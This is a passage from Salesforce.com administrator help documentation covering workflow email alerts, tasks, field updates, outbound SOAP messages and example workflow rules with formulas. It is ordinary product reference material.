Note: The Account Team option is always available; however, emails are only sent when the rule is
associated with the account object or any of its immediate child objects.

• Case Team—All users assigned to a particular case team role.


• Creator—The user who created the record.
• Customer Portal User—All users associated with a Customer Portal.
• Email Field—An email address field on the selected object, such as the Email field on lead records or custom
email fields.
Note: When creating email alerts for campaign members, Email Field refers to the email field on the
lead or contact that the campaign member is based on.

• Owner—The record owner.


• Partner User—All users associated with a partner portal.
• Portal Role—All users assigned to a particular portal role.
• Portal Role and Subordinates—All users assigned to a particular portal role, plus all users in roles below
that role.
• Public Groups—The users in a particular public group.
• Related Contact—An associated contact on the record. For example, you can select the Customer Signed
By field for contracts that contains the name of the contact that signed the contract.
• Related User—An associated user on the record. For example, contract records have an Activated By field
that contains the name of the user that activated the contract.
• Role—All of the users assigned a particular role.
• Role and Internal Subordinates—All users in a particular role, plus all users in roles below that role,
excluding partner portal and Customer Portal users.
• Role and Subordinates—All users in a particular role, plus all users in roles below that role.
• Users—A particular user.
• Sales Team—A member of the sales team.

Note: The Sales Team option is always available; however, it only works for email alerts configured for
opportunities. It does not work for email alerts configured for child objects of opportunities.

808
Create Managing Tasks for Workflow and Approvals

The recipients that match your search results appear in the Available Recipients list.
g. Select the recipients who you want to receive this email alert in the Available Recipients list and click Add to add them
to the Selected Recipients list.
Note: If you change the object after selecting recipients, Salesforce.com clears the Selected Recipients list.

h. Optionally, enter up to five additional email addresses.


i. Optionally, change the From Email Address to a previously configured and verified organization-wide address.
This allows you to use a standard global email address for your organization (such as support@company.com) instead
of the default From field, which is the email address of the person who updates the record.
Only verified organization-wide email addresses display in the From Email Address picklist.
Note: If you select Make this the default From email address for this object's email alerts, it overrides the
From Email Address for all email alerts associated with that object. Upon saving, a dialog box prompts you
to confirm your selection. You can still customize individual email alerts to use a different From Email
Address.

j. Click Save.

Note: If your email recipient is a record owner and the owner of the record is a queue, the queue email receives
the email alert. If the queue is set up so that email is sent to all members, queue members are notified as well. If
no queue email is specified, only queue members are notified.

4. To set email alerts into action, associate them with a workflow rule or approval process.

See Also:
Managing Workflow and Approvals

Managing Tasks for Workflow and Approvals


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view tasks: “View Setup and Configuration”
To create or change tasks: “Customize Application”

Tasks determine the details of a task assigned by a workflow rule or approval process. Create tasks and then associate them
with the workflow rules or approval processes that will trigger them. When the business conditions for that workflow rule or
approval process are met, it assigns tasks to designated users with the selected Subject, Status, Priority, and Due Date
of the workflow task.
To get started using tasks, click Setup ➤ Create ➤ Workflow & Approvals ➤ Tasks.

809
Create Managing Tasks for Workflow and Approvals

• Click New Task to create a new workflow task.


• Select an existing task to view details about it, create a cloned task, or view rules using it.
• Click Edit to make changes to an existing task.
• Click Del to delete a task.

Note: Before you create a task for a custom object, make sure the custom object tracks activities.

See Also:
Creating Tasks for Workflow and Approvals
Managing Workflow and Approvals
Managing Workflow Rules

Creating Tasks for Workflow and Approvals


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change tasks: “Customize Application”
To create or change workflow rules: “Customize Application”

To create your tasks:

1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Tasks.


2. Click New Task.
3. Select a type of record and click Next. Remember, tasks can only be associated with workflow rules or approval processes
for the same object type.
Note: When creating tasks for custom objects, only custom objects that track activities are available.

4. Configure the task:

a. Select an assignee. An assignee can be in the form of a user, role, record owner, record creator, sales team role, or
account team role depending on the type of record you chose.
Note:

• If the assignee of a task is set to the record owner and the owner of a lead or case is a queue, the person who
triggered the rule is assigned the task.
• If the subject was translated, Salesforce.com creates the task in the assignee's language. If the subject was
translated, and if you checked Notify Assignee for the task, Salesforce.com sends the email in the assignee's

810
Create Managing Tasks for Workflow and Approvals

language. However, if only the comments field was translated, Salesforce.com creates the task and sends
the email in the language of the user who triggered the task.
• If a custom object has a master-detail relationship with a standard object, the owner of the custom object
record is automatically set to the owner of the master standard object record. For example, if a custom object
called “Expenses” has a master-detail relationship with Accounts, the owner of each expense record is the
owner of the account for the expense.
• If the assignee of a workflow task is a role and more than one user belongs to that role, the record owner
becomes the task assignee, regardless of his or her role. We recommend that you do not assign tasks to roles
with multiple users. Assigning tasks to roles with one user allows you to easily change the user in that role
without modifying the workflow rule.
• If a lead is converted by someone who isn't the lead owner, all workflow tasks associated with the lead,
except email alerts, are reassigned to the lead owner.

b. Enter a subject for the task.


c. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for managed
package installations. The requirement for uniqueness is only within the selected object type. You can have actions of
the same type (for example, two email alerts) with the same unique name, provided they are defined for different objects,
such as one for Campaigns and one for Opportunities. The Unique Name field can contain only underscores and
alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
d. Choose a due date, status, and priority. Due dates appear in the time zone of the assignee.
e. Check Notify Assignee to send an email notification when the task is assigned.
f. Check the Protected Component check box to mark the task as protected. For more information, see Protected
Components on page 916.
g. Enter any comments to add to the task.
h. Click Save.

5. To set tasks into action, associate them with a workflow rule or approval process.

Note: You may notice that all your tasks include a Created By field. For tasks, this field contains the name of the
person who saved the record that triggered the rule to assign the task.

See Also:
Managing Workflow and Approvals

811
Create Managing Field Updates

Managing Field Updates


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view field updates: “View Setup and Configuration”
To define, edit, or delete field updates: “Customize Application”

Field updates allow you to automatically change a field value to one that you specify. Field updates are actions associated with
workflow rules or approval processes.
Before you begin using field updates, review Field Update Considerations on page 814. To get started using field updates, click
Setup ➤ Create ➤ Workflow & Approvals ➤ Field Updates.

• Click New Field Update to define a new field update.


• Select an existing field update to view details about it or view workflow rules and approval processes that use it.
• Click Edit to make changes to an existing field update.
• Click Del to delete a field update.

See Also:
Defining Field Updates
Managing Workflow and Approvals
Managing Workflow Rules

Defining Field Updates


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define, edit, or delete field updates: “Customize Application”

Field updates allow you to automatically change a field value to one that you specify. Field updates are actions associated with
workflow rules or approval processes. Before you begin, review Field Update Considerations on page 814.
Note: For standard objects, workflow rules can only perform field updates on the object related to the rule. The
exceptions are that both Case Comments and Email Messages can perform cross-object field updates on Cases. For
all custom objects, however, you can create workflow actions where a change to a detail record updates a field on the
related master record. Cross-object field updates only work for custom-to-custom master-detail relationships. For
example, in a custom recruiting application, create a workflow rule that sets the status of an application (the master

812
Create Managing Field Updates

object) to “Closed” when a candidate (the detail object) accepts the job. Or, for standard objects, create a rule to change
the status of a case from “Awaiting Customer Response“ to “In Progress” when a customer adds a case comment.

To define field updates:

1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Field Updates.


2. Click New Field Update.
3. Configure the field update.

a. Enter a name for this field update.


b. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for managed
package installations. The requirement for uniqueness is only within the selected object type. You can have actions of
the same type (for example, two email alerts) with the same unique name, provided they are defined for different objects,
such as one for Campaigns and one for Opportunities. The Unique Name field can contain only underscores and
alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
c. Enter a description for this field update.
d. Define the field update, including the object associated with the workflow rule or approval process, the field to update,
and the value to apply. Note that the field to update may be on a related object in a master-detail relationship. Fields
are shown only for the target object that you select.
Tip: To create workflow rules for case comments or email messages so that case comments or emails
automatically update fields on associated cases, select Case Comment or Email Message in the Object
drop-down list when creating a new workflow rule and select Case in the Field to Update list. Email-to-Case
or On-Demand Email-to-Case must be enabled for your organization to use Email Message in a workflow
rule.
When cases are updated by an email-triggered workflow rule, the updated case can trigger:

• Workflow rules
• Validation rules
• Updates to roll-up summary fields
• Escalation rules
• Apex triggers

The update case cannot trigger:

• Assignment rules
• Auto-response rules

e. Check the Protected Component check box to mark the field update as protected. For more information, see
Protected Components on page 916.
f. Specify the new field value. The available options depend on the type of field you are updating. You can:

• Choose A specific value, and enter the value in the space provided.
• Choose A blank value (null) if you want Salesforce.com to remove any existing value and leave the field
blank. This option is not available for required fields, checkboxes, and some other types of fields.
• For record owners, choose the user to whom the record should be assigned. For case, lead, and custom object records,
you can also choose a queue for this field. Optionally, select Notify Assignee to send an email to the new record
owner.
• For checkboxes, choose True to select the checkbox and False to deselect it.

813
Create Managing Field Updates

• For picklists, select a specific value from the drop-down list, or select the value above or below the current value
based on the sorting specified in the picklist definition. If you sort values alphabetically, the values above or below
may be different for users in other languages.
• Choose Use a formula to set the new value to calculate the value based on an expression, merge fields,
or other values.

a. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow, validation,
assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert.
To create a basic formula that passes specific Salesforce.com data, select the Simple Formula tab, choose the
field type in the Select Field Type drop-down list, and choose one of the fields listed in the Insert
Field drop-down list.

Tip: Build cross-object formulas to span to related objects and reference merge fields on those objects.

b. To insert case merge fields so that email messages update the associated case fields, click Insert Field on the
Rule Criteria section and choose Email Message > Parent Case.
c. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use
the examples in Operators and Functions on page 548.
d. Optionally, insert a function from the Functions list. Functions are pre-built formulas that you can customize
with your input parameters. See Operators and Functions on page 548 for a description of each operator and
function.

g. Click Save.

See Also:
Managing Field Updates
Managing Workflow and Approvals

Field Update Considerations


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define, edit, or delete field updates: “Customize Application”

Before you begin creating field updates for your workflow rules or approval processes, consider the following:

• For standard objects, workflow rules can only perform field updates on the object related to the rule. The exceptions are
that both Case Comments and Email Messages can perform cross-object field updates on Cases. For all custom objects,
however, you can create workflow actions where a change to a detail record updates a field on the related master record.
Cross-object field updates only work for custom-to-custom master-detail relationships. For example, in a custom recruiting

814
Create Managing Field Updates

application, create a workflow rule that sets the status of an application (the master object) to “Closed” when a candidate
(the detail object) accepts the job. Or, for standard objects, create a rule to change the status of a case from “Awaiting
Customer Response“ to “In Progress” when a customer adds a case comment.
• The cross-object field update function may depend on certain critical updates being active. Click Setup ➤ Critical Updates
to see if your organizaton requires any updates.
• Field update actions that update fields on related objects are supported only for use with workflow rules. Approval processes
cannot use cross-object field update actions.
• Field updates may affect the information in a related list. For example, if a field such as the Amount or Close Date of
an opportunity is set to be updated, it will affect the Stage History related list on opportunities.
• If a user encounters a field update error when saving a record, you can use the debug log to see which field update failed.
The debug log stops when a failure occurs.
• Read-only fields like formula or auto-number fields are not available for field updates.
• The Language picklist field on multilingual solutions is not available for field updates.
• Field updates function independently of field-level security. Therefore, a workflow rule can update fields even though they
are hidden on the user's page layout.
• The results of a field update cannot trigger additional workflow rules or other rules such as validation, assignment,
auto-response, or escalation rules.
• The result of a field update is unpredictable when a single workflow rule includes multiple field updates that apply different
values to the same field.
• Field updates occur after case assignment, lead assignment, auto-response, and case escalation rules.
• Email message workflow rules can only be associated with field updates.
• Field updates occur before email alerts, tasks, and outbound messages.
• For reminder fields on tasks and events:

- Field updates can set the reminder for a task or event but they cannot use the due date of a task or the scheduled time
of an event.
- Formulas for date/time values are calculated in days. Divide the value by 1440—the number of minutes in a day—to
express the value in minutes. For example, the formula Now()-7 means seven days ago, while Now()-7/1440 means
seven minutes ago.

• You can define field updates using the Amount field on opportunities but it will only apply to those opportunities that do
not have products. Adding products to an opportunity changes the Amount field to a read-only field that is automatically
calculated and not affected by that field update.
• You can define field updates for the Status field on contracts. However, the value of this field may affect the value of the
Status Category field as well.

Note: The Status field cannot be updated by approval processes. If you want to use the contract status as part
of an approval process, Salesforce.com recommends creating a custom status field.

• You can define field updates for the Stage field on opportunities, but be aware of how this field affects the Probability
and Forecast Category fields. See Updating Opportunity Stages on page 438 for information on the relationship
between these fields.
• You can update long text area fields, but the option to insert A specific value restricts you to entering up to 255
characters.
• Some fields, such as Related To and Private fields on activities, are not available for field updates.
• If your organization uses multiple currencies, currency fields are updated using the record's currency. If you choose to
update a field based on a formula, any values in your formula are interpreted in the currency of the record.

815
Create Managing Outbound Messages

• Before changing the type of a custom field, make sure that it is not the target of a field update or referenced in a field
update formula that would be invalidated by the new type.
• You cannot delete a custom field that is referenced by a field update.
• Field updates are tracked in the History related list if you have set history tracking on those fields.
• Because updates to records based on workflow rules do not trigger validation rules, workflow rules can invalidate previously
valid fields.
• If a field update references a specific user, you cannot deactivate that user. For example, if your field update is designed to
change the owner of an account to Bob Smith, change the field update before deactivating Bob Smith.
• You cannot make a field universally required if it is used by a field update that sets the field to a blank value. For details,
see About Universally Required Fields on page 542.
• Avoid creating a field update for contracts or orders that changes the Status field to any value other than Approved.

Tip: Salesforce.com processes any rules in the following order:

1. Validation rules
2. Assignment rules
3. Auto-response rules
4. Workflow rules (with immediate actions)
5. Escalation rules

Workflow field updates that run based on an approval process or time-dependent action do not trigger any rules.

See Also:
Defining Field Updates
Managing Field Updates

Managing Outbound Messages


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view, define, edit, or delete outbound messages: “Customize Application”

Workflow and approval actions that send the information you specify to an endpoint you designate, such as an external service.
An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint.
To get started using outbound messages, click Setup ➤ Create ➤ Workflow & Approvals ➤ Outbound Messages.

• Click New Outbound Message to define a new outbound message.


• Click View Message Delivery Status to track the status of an outbound message. See Tracking Outbound Message Delivery
Status on page 370.
• Select an existing outbound message to view details about it or view workflow rules and approval processes that use it.
• Click Edit to make changes to an existing outbound message.

816
Create Managing Outbound Messages

• Click Del to delete an outbound message.

Note: If you do not have these options, your organization does not have outbound messages enabled. Contact
salesforce.com to enable outbound messages for your organization.

When working with outbound messages, note the following:

• A single SOAP message can include up to 100 notifications. Each notification contains an ID that uniquely identifies a
record, and a reference to the data in the record. Therefore, if the information in the record changes after the notification
is sent, but before the notification is delivered, only the updated information will be delivered.
• Messages are queued until they are sent, to preserve message reliability.
• If the endpoint is unavailable, messages will stay in the queue until sent successfully, or until they are 24 hours old. After
24 hours, messages are dropped from the queue.
• If a message cannot be delivered, the interval between retries increases exponentially, up to a maximum of two hours
between retries.
• Messages are retried independent of their order in the queue. This may result in messages being delivered out of order.
• You cannot build an audit trail using outbound messages. While each message should be delivered at least once, it may be
delivered more than once. Also, it may not be delivered at all if delivery cannot be done within 24 hours. Finally, as noted
above, the source object may change after a notification is sent but before it is delivered, so the endpoint will only receive
the latest data, not any intermediate changes.
• Encrypted custom fields are not available in outbound messages.
• You can create workflow rules and approval processes on junction objects; however, you cannot create outbound messages
on junction objects.

See Also:
Defining Outbound Messages
Tracking Outbound Message Delivery Status
Managing Workflow and Approvals
Managing Workflow Rules

Defining Outbound Messages


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define, edit, or delete outbound messages: “Customize Application”

Workflow and approval actions that send the information you specify to an endpoint you designate, such as an external service.
An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint.
When you associate an outbound message with a workflow rule or approval process, the outbound message sends the selected
information to the associated endpoint URL whenever the workflow rule or approval process is triggered. Once the endpoint

817
Create Managing Outbound Messages

URL receives the message, it can take the information from the message and process it, assuming that the Web service has
been configured appropriately.
For security reasons, Salesforce.com restricts the outbound ports you may specify to one of the following:

• 80: This port only accepts HTTP connections.


• 443: This port only accepts HTTPS connections.
• 7000-10000 (inclusive): These ports accept HTTP or HTTPS connections.

Note: Outbound messages cannot be associated with workflow rules on custom junction objects.

To define outbound messages:

1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Outbound Messages.


2. Click New Outbound Message.
3. Choose the object that has the information you want included in the outbound message, and click Next.
Tip: To create workflow rules for case comments so that comments added to cases send outbound messages when
a rule is triggered, select Case Comment in the Object drop-down list when creating a new workflow rule.

4. Configure the outbound message.

a. Enter a name for this outbound message.


b. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for managed
package installations. The requirement for uniqueness is only within the selected object type. You can have actions of
the same type (for example, two email alerts) with the same unique name, provided they are defined for different objects,
such as one for Campaigns and one for Opportunities. The Unique Name field can contain only underscores and
alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
c. Enter a description for this outbound message.
d. Enter an endpoint URL for the recipient of the message. Salesforce.com sends a SOAP message to this endpoint.
e. Select the Salesforce.com user to use when sending the message. The chosen user controls data visibility for the message
that is sent to the endpoint.
f. Check the Protected Component check box to mark the outbound message as protected. For more information,
see Protected Components on page 916.
g. Select Send Session ID if you want the Salesforce.com session ID included in the outbound message. Include the
session ID in your message if you intend to make API calls and you do not want to include a username and password.
Sending a username and password is less secure than sending a session ID.
h. Select Add failures to failed outbound message related list if you want this message to move to
the failed outbound messages related list after all retries have been attempted. If you do not see this option, failed
outbound messages notifications have not been enabled for your organization. Contact your salesforce.com representative.
i. Select the fields you want included in the outbound message and click Add.

5. Click Save.
6. On the outbound message detail page, click the Click for WSDL link to view the WSDL associated with this message.
The WSDL is bound to the outbound message and contains the instructions about how to reach the endpoint service and
what data is sent to it.

818
Create Managing Outbound Messages

7. If your endpoint uses a client certificate, right-click the Download Client Certificate link on the outbound message detail
page, and save the certificate to the appropriate location. Then you can import the downloaded certificate into your
application server, and configure your application server to request the client certificate.
8. To set outbound messages into action, associate them with a workflow rule or approval process.

Note: If you do not have these options, your organization does not have outbound messages enabled. Contact
salesforce.com to enable outbound messages for your organization.

See Also:
Tracking Outbound Message Delivery Status
Managing Outbound Messages
Managing Workflow and Approvals

Selecting Existing Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To select existing actions: “Customize Application”

Workflow actions created for a workflow rule or approval process can be associated with other workflow rules and approval
processes.
To associate existing workflow actions with a workflow rule:

1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Workflow Rules.


2. Select the workflow rule.
3. Click Edit in the Workflow Actions section.
4. Click Add Workflow Action in either the Immediate Workflow Actions or Time-Dependent Actions section, depending
on when you want the action to occur, and choose Select Existing Action. See Configure Workflow Actions on page 799.
5. Select the type of action you want to associate with the workflow rule. The Available Actions box lists all existing actions
of the selected type.
6. Optionally, enter the name of a specific action in the text field and click Find.
7. Select the actions in the Available Actions box and use the right arrow to move the actions to the Selected Actions box.
If necessary, select the left arrow to move actions from the Selected Actions box to the Available Actions box.
8. Click Save when you are done.

To associate existing workflow actions with an approval process:

1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes.


2. Click the name of an existing approval process.
3. Depending on when you want the action to occur, do one of the following:

819
Create Managing Outbound Messages

• Click Add Existing in the Initial Submission Actions, Final Approval Actions, Final Rejection Actions, or Recall
Actions section.
• Click Show Actions in the Approval Steps section, then click Add Existing in the Approval, Rejection, or Recall
Actions section.

See Selecting Approval Actions on page 880.


4. Select the type of action you want to associate with the approval process. The Available Actions box lists all existing actions
of the selected type.
5. Optionally, enter the name of a specific action in the text field and click Find.
6. Select the actions in the Available Actions box that you want to associate with the approval process, and use the right
arrow to move the actions to the Selected Actions box.
If necessary, select the actions in the Selected Actions box that you do not want to associate with the approval process,
and use the left arrow to move the actions to the Available Actions box.
7. Click Save when you are done.

See Also:
Managing Workflow Rules
Creating Workflow Rules
Managing Workflow Actions

Examples of Workflow Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change workflow rules, email alerts, tasks, field “Customize Application”
updates, and outbound messages:

Use the following workflow rule examples to learn how you can implement common business objectives.
Business Process
Follow Up when a Platinum Contract Case Closes
New Customer Credit Check
Platinum Account Owner Visibility on High Priority Cases

Cross-Object Processes
Cases Filed for Top Accounts
Setting Default Opportunity Name
Setting the Target Resolution Date for Cases
Updating Application Record When Candidate Accepts Job

820
Create Managing Outbound Messages

Deal Management
Tracking Closed Opportunities
Default Opportunity Close Date
Reporting Lost Opportunities
Unassigned Lead Management

Notifications
Change of Account Owner
Contact Birthday Reminder
High Value Opportunity
Notify Account Owners of Updates by Others

Business Process

Follow Up when a Platinum Contract Case Closes


This example assumes there is a Contract Type custom picklist used to identify the contract level on cases, and that the
picklist contains the value “Platinum.”
Object
Case

Description
Send a feedback request in email to the case contact seven days after a high priority case is closed if the customer has a
platinum contract agreement.

Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.

Rule Criteria (Filter)


Run this rule if the following criteria are met:

(Case: Priority equals High) and


(Case: Closed equals True) and
(Case: Contract Type equals Platinum)

Immediate Actions
None.

Time-Dependent Actions

7 Days After Case: Date/Time Closed


Email Alert: Send a feedback request to the case contact.

New Customer Credit Check


This example assumes there is a New Customer custom field on opportunities.

821
Create Managing Outbound Messages

Object
Opportunity

Description
Assign the Accounts Receivable (AR) department a task to check the credit of a potential customer 15 days before the
opportunity close date if the amount is greater than $50,000.

Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.

Rule Criteria (Filter)


Run this rule if the following criteria are met:

(Opportunity: Amount greater than 50000) and


(Opportunity: Closed equals False) and
(Opportunity: New Customer equals True)

Immediate Actions
None.

Time-Dependent Actions

15 Days Before Opportunity: Close Date


Task: Create a task for users in the Accounts Receivable role to run a credit check.

Platinum Account Owner Visibility on High Priority Cases


This example assumes there is a Service Level Agreement custom picklist called SLA that identifies the agreement level on
accounts and contains the value “Platinum.”
Object
Case

Description
Notify the account owner when a high priority case is created for accounts with a platinum service level agreement.

Evaluation Criteria
Only when a record is created.

Rule Criteria (Filter)


Run this rule if the following criteria are met:

(Case: Priority equals High) and


(Account: SLA equals Platinum)

Immediate Actions
Email Alert: Email the details of the high priority case to the account owner.

Time-Dependent Actions
None.

822
Create Managing Outbound Messages

Cross-Object Processes

Cases Filed for Top Accounts


Use the following workflow rule if your sales VP wants to know about any cases filed for top accounts, where top accounts are
determined by size and revenue.
Object
Case

Description
Notify Sales VP about any cases filed for top accounts.

Evaluation Criteria
Only when a record is created.

Rule Criteria (Formula)


Run this rule if the following formula evaluates to true:

AND(Account.AnnualRevenue > 500000, Account.NumberOfEmployees > 5000)

Immediate Actions
Email Alert: Notify VP about cases for big accounts.

Time-Dependent Actions
None.

Setting Default Opportunity Name


The opportunity naming convention for some companies is Account Name: Opportunity Name. To automate the default
name of each opportunity in your organization, create the workflow rule below.
Object
Opportunity

Description
Enforce opportunity naming convention.

Evaluation Criteria
Every time a record is created or edited

Rule Criteria (Formula)


Run this rule if the following formula evaluates to true:

NOT(CONTAINS( Name, Account.Name ))

Immediate Actions
Field Update: Set opportunity name to the following formula:

Account.Name & ": " & Name

823
Create Managing Outbound Messages

Time-Dependent Actions
None.

Setting the Target Resolution Date for Cases


This example illustrates how to automatically set a case resolution date based on the value of a field on the associated account.
It uses a custom picklist field on accounts called Support Level, which has three values, “Basic,” “Standard,” and “Premium,”
as well as a custom date field on cases called Target Resolution Date.
Use the following three workflow rule examples to automatically set the target resolution date of a case based on the support
level for the related account.
Set Resolution Date for Basic Support
Object
Case

Description
Sets the case target resolution date for accounts that have basic support level to 30 days from today.

Evaluation Criteria
Only when a record is created

Rule Criteria (Formula)


Run this rule if the following formula evaluates to true:

ISPICKVAL(Account.Support_Level__c , "Basic")

Immediate Actions
Field Update: Set the Target Resolution Date to Today() + 30

Time-Dependent Actions
None.

Set Resolution Date for Standard Support


Object
Case

Description
Sets the case target resolution date for accounts that have standard support level to 14 days from today.

Evaluation Criteria
Only when a record is created

Rule Criteria (Formula)


Run this rule if the following formula evaluates to true:

ISPICKVAL(Account.Support_Level__c , "Standard")

Immediate Actions
Field Update: Set the Target Resolution Date to Today() + 14

824
Create Managing Outbound Messages

Time-Dependent Actions
None.

Set Resolution Date for Premium Support


Object
Case

Description
Sets the case target resolution date for accounts that have premium support level to 5 days from today.

Evaluation Criteria
Only when a record is created

Rule Criteria (Formula)


Run this rule if the following formula evaluates to true:

ISPICKVAL(Account.Support_Level__c , "Premium")

Immediate Actions
Field Update: Set the Target Resolution Date to Today() + 5

Time-Dependent Actions
None.

Updating Application Record When Candidate Accepts Job


Use the following workflow rule if you want to close the Application record when a Candidate accepts a job. Cross-object
field updates to the master record are supported between custom objects in a master-detail relationship.
Object
Candidate

Description
Changes the Application Status to “Closed” for the custom Application object when the Candidate Status for the custom
Candidate object changes to “Accepted.”

Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.

Rule Criteria (Formula)


Run this rule if the following criteria are met:

(Candidate: Status equals Accepted)

Immediate Actions
Field Update: Change Application Status field to “Closed” on parent Application record.

Time-Dependent Actions
None.

825
Create Managing Outbound Messages

Deal Management

Tracking Closed Opportunities


This example assumes there is a “Closed Opportunities” record type that provides additional information to certain profiles.
Note: For information on record types, see Managing Record Types on page 611.

Object
Opportunity

Description
Change the record type of closed-won opportunities.

Evaluation Criteria
Every time a record is created or edited.

Rule Criteria (Filter)


Run this rule if the following criteria are met:

(Opportunity: Closed equals True) and


(Opportunity: Stage equals Closed Won)

Immediate Actions
Field Update: Set the record type to “Closed Opportunities.”

Time-Dependent Actions
None.

Default Opportunity Close Date


Object
Opportunity

Description
Override the default close date from the close of the quarter to six months after the opportunity is created.

Evaluation Criteria
Only when a record is created.

Rule Criteria (Filter)


Run this rule if the following criteria are met:

(Opportunity: Closed equals False)

826
Create Managing Outbound Messages

Immediate Actions
Field Update: Use the following formula to set the opportunity close date to six months after the creation date:

DATE( YEAR(TODAY()) , (MONTH(TODAY()) + 6), DAY(TODAY()))

Time-Dependent Actions
None.

Reporting Lost Opportunities


Object
Opportunity

Description
Notify the VP of Sales when a deal is lost if the stage was “Proposal/Price Quote” and the amount was greater than
$1,000,000.

Evaluation Criteria
Every time a record is created or edited.

Rule Criteria (Formula)


Run this rule if the following formula evaluates to true:

AND( ISCHANGED(StageName), ISPICKVAL(PRIORVALUE(StageName) , "Proposal/Price Quote"),


ISPICKVAL(StageName,"Closed Lost"), (Amount >1000000))

Immediate Actions
Email Alert: Notify the VP of Sales role that the deal was lost.

Time-Dependent Actions
None.

Unassigned Lead Management


This example assumes that all unassigned leads are placed in an unassigned leads queue by a leads assignment rule.
Object
Lead

Description
Ensure that unassigned leads are tracked in a timely manner by notifying the manager if a lead is not accepted in two
days.

Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.

Rule Criteria (Filter)


Run this rule if the following criteria are met:

Lead Owner equals Unassigned Lead Queue

827
Create Managing Outbound Messages

Immediate Actions
None.

Time-Dependent Actions

2 Days After Lead: Last Modified Date


Email Alert: Notify the manager role that there are unassigned leads in the queue that are older than two days.

Notifications

Change of Account Owner


Object
Account

Description
Notify key people in the sales department when the owner of an account changes if the account's annual revenue is
greater than $1,000,000.

Evaluation Criteria
Every time a record is created or edited.

Rule Criteria (Formula)


Run this rule if the following formula evaluates to true:

AND( ISCHANGED(OwnerId), AnnualRevenue > 1000000 )

Immediate Actions
Email Alert: Notify the person in the sales operations role of the change in account ownership.

Time-Dependent Actions
None.

Contact Birthday Reminder


This example assumes there is a Next Birthday custom formula field that uses the following formula to calculate the date
of the contact's next birthday on contact records:

IF(MONTH(Birthdate)>MONTH(TODAY()),DATE(YEAR(TODAY()),MONTH(Birthdate),DAY(Birthdate)),
IF(MONTH(Birthdate)<MONTH(TODAY()),DATE(YEAR(TODAY())+1,MONTH(Birthdate),DAY(Birthdate)),
IF(DAY(Birthdate) >= (DAY(TODAY())),DATE(YEAR(TODAY()),MONTH(Birthdate),DAY(Birthdate)),
DATE(YEAR(TODAY())+1,MONTH(Birthdate),DAY(Birthdate)))))

Object
Contact

Description
Send an email to the contact two days before the contact's birthday.

Evaluation Criteria
Only when a record is created.

828
Create Managing Outbound Messages

Rule Criteria (Filter)


Run this rule if the following formula evaluates to true:

(Contact: Birthdate not equal to null) and


(Contact: Email not equal to null)

Immediate Actions
None.

Time-Dependent Actions

2 Days Before Contact: Next Birthday


Email Alert: Send a birthday greeting to the contact's email address.

High Value Opportunity


Object
Opportunity

Description
Remind the opportunity owner and senior management when the close date is approaching for a large deal, an opportunity
that has an amount greater than $10,000. Also, create a follow-up task for the opportunity owner if the deal is still open
when the close date passes.

Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.

Rule Criteria (Filter)


Run this rule if the following criteria are met:

(Opportunity: Amount greater than 100000) and


(Opportunity: Closed equals False)

Immediate Actions
None.

Time-Dependent Actions

30 Days Before Opportunity: Close Date


Email Alert: Notify the opportunity owner that 30 days remain.

15 Days Before Opportunity: Close Date


Email Alert: Notify the opportunity owner that 15 days remain.

5 Days After Opportunity: Close Date


Task: Create a follow-up task for the opportunity owner to update the deal.
Email Alert: Notify senior management to involve executives.

829
Create Outbound Message Notifications

Notify Account Owners of Updates by Others


Object
Account

Description
Notify the account owner when someone else updates the account if the account's annual revenue is greater than
$1,000,000.

Evaluation Criteria
Every time a record is created or edited.

Rule Criteria (Formula)


Run this rule if the following formula evaluates to true:

AND( (LastModifiedById <> CreatedById), (AnnualRevenue > 1000000) )

Immediate Actions
Email Alert: Notify the account owner that someone else has updated the account.

Time-Dependent Actions
None.

See Also in the Salesforce.com online help:


Managing Workflow and Approvals
Managing Workflow Actions
Creating Workflow Rules
Time-Dependent Action and Time Trigger Considerations
Managing Email Alerts
Managing Tasks for Workflow and Approvals
Managing Field Updates

Outbound Message Notifications


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view or edit outbound message notification settings: “Customize Application”

Workflow and approval actions that send the information you specify to an endpoint you designate, such as an external service.
An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint.

830
Create Outbound Message Notifications

Salesforce.com creates a notification once every 24 hours, listing all the outbound messages that have failed for at least 24
hours. This notification is sent to any user that you specify by creating a notification request—one request per user. You can
create up to five notification requests.
Failed messages are deleted from the failed outbound messages related list after seven days. Before they are removed, you can
delete them yourself or request that they be retried again.
To view the current outbound message notification requests, click Setup ➤ Monitoring ➤ Outbound Message Notifications.
You can perform several tasks here:

• Click Edit to edit a notification.


